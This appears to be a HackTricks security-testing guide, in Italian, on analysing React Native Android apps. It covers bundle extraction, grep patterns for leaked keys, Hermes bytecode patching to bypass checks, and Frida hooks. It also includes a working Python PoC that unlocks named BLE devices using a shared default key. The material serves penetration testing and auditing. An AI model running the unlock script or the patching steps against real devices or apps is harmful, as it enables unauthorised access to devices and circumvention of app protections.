React Native Application Analysis

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks

Per confermare se l’applicazione è stata costruita sul framework React Native, segui questi passaggi:

  1. Rinomina il file APK con estensione zip ed estrailo in una nuova cartella usando il comando cp com.example.apk example-apk.zip e unzip -qq example-apk.zip -d ReactNative.

  2. Vai nella cartella ReactNative appena creata e individua la cartella assets. All’interno di questa cartella dovresti trovare il file index.android.bundle, che contiene il JavaScript di React in formato minificato.

  3. Usa il comando find . -print | grep -i ".bundle$" per cercare il file JavaScript.

Nota: Se ti viene fornito un Android App Bundle (.aab) invece di un APK, genera prima un APK universale e poi estrai il bundle:

# Get bundletool.jar and generate a universal APK set
java -jar bundletool.jar build-apks \
--bundle=app-release.aab \
--output=app.apks \
--mode=universal \
--overwrite

# Extract the APK and then unzip it to find assets/index.android.bundle
unzip -p app.apks universal.apk > universal.apk
unzip -qq universal.apk -d ReactNative
ls ReactNative/assets/

Codice JavaScript

Controllando il contenuto di index.android.bundle trovi il codice JavaScript dell’applicazione (anche se minificato), puoi analizzarlo per trovare informazioni sensibili e vulnerabilità.

Poiché il bundle contiene effettivamente tutto il codice JS dell’applicazione, è possibile dividerlo in file separati (semplificando potenzialmente il suo reverse engineering) usando lo strumento react-native-decompiler.

Webpack

Per analizzare ulteriormente il codice JavaScript, puoi caricare il file su https://spaceraccoon.github.io/webpack-exploder/ oppure seguire questi passaggi:

  1. Crea un file chiamato index.html nella stessa directory con il seguente codice:
<script src="./index.android.bundle"></script>
  1. Apri il file index.html in Google Chrome.

  2. Apri il Developer Toolbar premendo Command+Option+J for OS X o Control+Shift+J for Windows.

  3. Clicca su “Sources” nel Developer Toolbar. Dovresti vedere un file JavaScript diviso in cartelle e file, che costituiscono il main bundle.

Se trovi un file chiamato index.android.bundle.map, potrai analizzare il source code in un formato non minificato. I file map contengono source mapping, che permette di mappare identificatori minificati.

Per cercare credenziali sensibili e endpoints, segui questi passaggi:

  1. Identifica parole chiave sensibili per analizzare il codice JavaScript. Le applicazioni React Native spesso usano servizi di terze parti come Firebase, AWS S3 service endpoints, private keys, ecc.

  2. In questo caso specifico, è stato osservato che l’applicazione usava il servizio Dialogflow. Cerca un pattern relativo alla sua configurazione.

  3. È stato fortunato che credenziali sensibili hard-coded siano state trovate nel codice JavaScript durante il processo di recon.

Ricerca rapida secrets/endpoint nei bundles

Questi semplici greps spesso fanno emergere indicatori interessanti anche in minified JS:

# Common backends and crash reporters
strings -n 6 index.android.bundle | grep -Ei "(api\.|graphql|/v1/|/v2/|socket|wss://|sentry\.io|bugsnag|appcenter|codepush|firebaseio\.com|amplify|aws)"

# Firebase / Google keys (heuristics)
strings -n 6 index.android.bundle | grep -Ei "(AIza[0-9A-Za-z_-]{35}|AIzaSy[0-9A-Za-z_-]{33})"

# AWS access key id heuristic
strings -n 6 index.android.bundle | grep -E "AKIA[0-9A-Z]{16}"

# Expo/CodePush deployment keys
strings -n 6 index.android.bundle | grep -Ei "(CodePush|codepush:\\/\\/|DeploymentKey)"

# Sentry DSN
strings -n 6 index.android.bundle | grep -Ei "(Sentry\.init|dsn\s*:)"

Se sospetti framework di aggiornamento Over-The-Air, cerca anche:

  • Microsoft App Center / CodePush deployment keys
  • Expo EAS Updates configuration (expo-updates, expo\.io, signing certs)

Modificare il codice JS e ricostruire

In questo caso modificare il codice è semplice. Devi solo rinominare l’app in modo che usi l’estensione .zip ed estrarla. Poi puoi modificare il codice JS all’interno di questo bundle e ricostruire l’app. Questo dovrebbe essere sufficiente per permetterti di iniettare codice nell’app a scopi di testing.

Hermes bytecode

Se il bundle contiene Hermes bytecode, non potrai accedere al codice Javascript dell’app (neanche alla versione minificata).

Puoi verificare se il bundle contiene Hermes bytecode eseguendo il seguente comando:

file index.android.bundle
index.android.bundle: Hermes JavaScript bytecode, version 96

Tuttavia, puoi usare gli strumenti hbctool, fork aggiornati di hbctool che supportano versioni più recenti del bytecode, hasmer, hermes_rs (libreria/API Rust), o hermes-dec per disassemble the bytecode e anche per decompile it to some pseudo JS code. Per esempio:

# Disassemble and re-assemble with hbctool (works only for supported HBC versions)
hbctool disasm ./index.android.bundle ./hasm_out
# ...edit ./hasm_out/**/*.hasm (e.g., change comparisons, constants, feature flags)...
hbctool asm   ./hasm_out ./index.android.bundle

# Using hasmer (focus on disassembly; assembler/decompiler are WIP)
hasmer disasm ./index.android.bundle -o hasm_out

# Using hermes-dec to produce pseudo-JS
hbc-disassembler ./index.android.bundle /tmp/my_output_file.hasm
hbc-decompiler   ./index.android.bundle /tmp/my_output_file.js

Tip: Il progetto open-source Hermes fornisce anche strumenti per sviluppatori come hbcdump in specifiche release di Hermes. Se ricostruisci la versione di Hermes corrispondente usata per produrre il bundle, hbcdump può dumpare funzioni, tabelle di stringhe e bytecode per un’analisi più approfondita.

Modificare il codice e ricostruire (Hermes)

Idealmente dovresti essere in grado di modificare il codice disassemblato (cambiando una comparazione, un valore o qualunque cosa ti serva) e poi ricostruire il bytecode e ricostruire l’app.

  • L’originale hbctool supporta il disassemblaggio del bundle e la ricostruzione dopo le modifiche, ma storicamente supportava solo versioni di bytecode più vecchie. Fork mantenuti dalla community estendono il supporto a versioni più recenti di Hermes (inclusi mid-80s–96) e sono spesso l’opzione più pratica per patchare app RN moderne.
  • Lo strumento hermes-dec non supporta la ricostruzione del bytecode (decompiler/disassembler only), ma è molto utile per navigare la logica e dumpare le stringhe.
  • Lo strumento hasmer mira a supportare sia disassembly che assembly per più versioni di Hermes; l’assembling è ancora in fase di maturazione ma vale la pena provarlo su bytecode recenti.

Un flusso di lavoro minimo con assembler simili a hbctool:

# 1) Disassemble to HASM directories
hbctool disasm assets/index.android.bundle ./hasm

# 2) Edit a guard or feature flag (example: force boolean true)
#    In the relevant .hasm, replace a LoadConstUInt8 0 with 1
#    or change a conditional jump target to bypass a check.

# 3) Reassemble into a new bundle
hbctool asm ./hasm assets/index.android.bundle

# 4) Repack the APK and resign
zip -r ../patched.apk *
# Align/sign as usual (see Android signing section in HackTricks)

Nota che il formato bytecode di Hermes è versionato e l’assembler deve corrispondere esattamente al formato su disco. Se ottieni errori di formato, passa a un fork/alternativa aggiornata o ricompila gli strumenti Hermes corrispondenti.

Analisi dinamica

Un modo per analizzare dinamicamente l’app è usare Frida per abilitare la modalità sviluppatore dell’app React e usare react-native-debugger per collegarsi ad essa. Tuttavia, per questo apparentemente è necessario il codice sorgente dell’app. Puoi trovare più informazioni su questo in https://newsroom.bedefended.com/hooking-react-native-applications-with-frida/.

Abilitare Dev Support nella release con Frida (avvertenze)

Alcune app includono involontariamente classi che rendono Dev Support attivabile. Se presenti, puoi provare a forzare getUseDeveloperSupport() a ritornare true:

// frida -U -f com.target.app -l enable-dev.js
Java.perform(function(){
try {
var Host = Java.use('com.facebook.react.ReactNativeHost');
Host.getUseDeveloperSupport.implementation = function(){
return true; // force dev support
};
console.log('[+] Patched ReactNativeHost.getUseDeveloperSupport');
} catch (e) {
console.log('[-] Could not patch: ' + e);
}
});

Warning: In properly built release builds, DevSupportManagerImpl and related debug-only classes are stripped and flipping this flag can crash the app or have no effect. When this works, you can typically expose the dev menu and attach debuggers/inspectors.

Intercettazione di rete nelle app RN

React Native Android tipicamente si appoggia su OkHttp under the hood (via il modulo nativo Networking). Per intercettare/osservare il traffico su un dispositivo non-root durante i test dinamici:

  • Use system proxy + trust user CA o usa altre tecniche generiche di bypass TLS su Android.
  • RN-specific tip: se l’app include Flipper nella release per errore (debug tooling), il Flipper Network plugin può esporre richieste/risposte.

Per tecniche generiche di interception e pinning bypass su Android fai riferimento a:

Make APK Accept CA Certificate

Objection Tutorial

Scoperta del protocollo GATT a runtime con Frida (Hermes-friendly)

Quando il bytecode Hermes ostacola un’ispezione statica facile del JS, aggancia invece lo stack BLE Android. android.bluetooth.BluetoothGatt e BluetoothGattCallback espongono tutto ciò che l’app invia/riceve, permettendoti di reverse challenge-response e command frames proprietari senza il sorgente JS.

Frida GATT logger (UUID + hex/ASCII dumps) ```js Java.perform(function () { function b2h(b) { return Array.from(b || [], x => ('0' + (x & 0xff).toString(16)).slice(-2)).join(' '); } function b2a(b) { return String.fromCharCode.apply(null, b || []).replace(/[^\x20-\x7e]/g, '.'); } var G = Java.use('android.bluetooth.BluetoothGatt'); var Cb = Java.use('android.bluetooth.BluetoothGattCallback');

G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (c) { console.log(\n>>> WRITE ${c.getUuid()}); console.log(b2h(c.getValue())); console.log(b2a(c.getValue())); return this.writeCharacteristic(c); }; G.writeCharacteristic.overload(‘android.bluetooth.BluetoothGattCharacteristic’,‘[B’,‘int’).implementation = function (c,v,t) { console.log(\n>>> WRITE ${c.getUuid()} (type ${t})); console.log(b2h(v)); console.log(b2a(v)); return this.writeCharacteristic(c,v,t); }; Cb.onConnectionStateChange.overload(‘android.bluetooth.BluetoothGatt’,‘int’,‘int’).implementation = function (g,s,n) { console.log(*** STATE ${n} (status ${s})); return this.onConnectionStateChange(g,s,n); }; Cb.onCharacteristicRead.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’,‘int’).implementation = function (g,c,s) { var v=c.getValue(); console.log(\n<<< READ ${c.getUuid()} status ${s}); console.log(b2h(v)); console.log(b2a(v)); return this.onCharacteristicRead(g,c,s); }; Cb.onCharacteristicChanged.overload(‘android.bluetooth.BluetoothGatt’,‘android.bluetooth.BluetoothGattCharacteristic’).implementation = function (g,c) { var v=c.getValue(); console.log(\n<<< NOTIFY ${c.getUuid()}); console.log(b2h(v)); return this.onCharacteristicChanged(g,c); }; });

</details>

Hook `java.security.MessageDigest` per fingerprintare hash-based handshakes e catturare la concatenazione esatta degli input:

<details>
<summary>Frida MessageDigest tracer (algoritmo, input, output)</summary>
```js
Java.perform(function () {
var MD = Java.use('java.security.MessageDigest');
MD.getInstance.overload('java.lang.String').implementation = function (alg) { console.log(`\n[HASH] ${alg}`); return this.getInstance(alg); };
MD.update.overload('[B').implementation = function (i) { console.log('[HASH] update ' + i.length + ' bytes'); return this.update(i); };
MD.digest.overload().implementation = function () { var r=this.digest(); console.log('[HASH] digest -> ' + r.length + ' bytes'); return r; };
MD.digest.overload('[B').implementation = function (i) { console.log('[HASH] digest(' + i.length + ')'); return this.digest(i); };
});

Un flusso BLE reale ricostruito in questo modo:

  • Leggi la challenge da 00002556-1212-efde-1523-785feabcd123.
  • Calcola response = SHA1(challenge || key) dove la key era un valore di default di 20 byte 0xFF provisioningato su tutti i dispositivi.
  • Scrivi la response su 00002557-1212-efde-1523-785feabcd123, poi invia comandi su 0000155f-1212-efde-1523-785feabcd123.

Una volta autenticati, i comandi erano frame di 10 byte verso ...155f... ([0]=0x00, [1]=registry 0xD4, [3]=cmd id, [7]=param). Esempi: sblocca 00 D4 00 01 00 00 00 00 00 00, blocca ...02..., eco-mode attivato ...03...01..., apri batteria ...04.... Le notifiche arrivavano su 0000155e-1212-efde-1523-785feabcd123 (registro di 2 byte + payload), e i valori del registro potevano essere interrogati scrivendo l’ID del registro su 00001564-1212-efde-1523-785feabcd123 e poi leggendo da ...155f....

Con una key condivisa/di default il challenge-response collassa. Qualsiasi attacker nelle vicinanze può calcolare il digest e inviare comandi privilegiati. Un PoC minimale (bleak):

Python (bleak) BLE auth + unlock via default key ```python import asyncio, hashlib from bleak import BleakClient, BleakScanner CHAL="00002556-1212-efde-1523-785feabcd123"; RESP="00002557-1212-efde-1523-785feabcd123"; CMD="0000155f-1212-efde-1523-785feabcd123"

def filt(d,_): return d.name and d.name in [“AIKE”,“AIKE_T”,“AIKE_11”] async def main(): dev = await BleakScanner.find_device_by_filter(filt, timeout=10.0) if not dev: return async with BleakClient(dev.address) as c: chal = await c.read_gatt_char(CHAL) resp = hashlib.sha1(chal + b’\xff’*20).digest() await c.write_gatt_char(RESP, resp, response=False) await c.write_gatt_char(CMD, bytes.fromhex(‘00 d4 00 01 00 00 00 00 00 00’), response=False) await asyncio.sleep(0.5) asyncio.run(main())

</details>

## Problemi recenti in librerie RN popolari (cosa cercare)

Quando si auditano moduli di terze parti visibili nel bundle JS o nelle librerie native, controllare vulnerabilità note e verificare le versioni in `package.json`/`yarn.lock`.

- react-native-mmkv (Android): le versioni precedenti alla 2.11.0 registravano la chiave di encryption opzionale nei log di Android. Se ADB/logcat è disponibile, i segreti potrebbero essere recuperati. Assicurarsi di usare >= 2.11.0. Indicatori: utilizzo di `react-native-mmkv`, dichiarazioni di log che menzionano MMKV init con encryption. CVE-2024-21668.
- react-native-document-picker: le versioni < 9.1.1 erano vulnerabili a path traversal su Android (selezione file), risolto in 9.1.1. Validare gli input e la versione della libreria.

Controlli rapidi:
```bash
grep -R "react-native-mmkv" -n {index.android.bundle,*.map} 2>/dev/null || true
grep -R "react-native-document-picker" -n {index.android.bundle,*.map} 2>/dev/null || true
# If you also have the node_modules (rare on release): grep -R in package.json / yarn.lock

Riferimenti

Tip

Impara e pratica il hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Impara e pratica il hacking GCP: HackTricks Training GCP Red Team Expert (GRTE) Impara e pratica il hacking Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Supporta HackTricks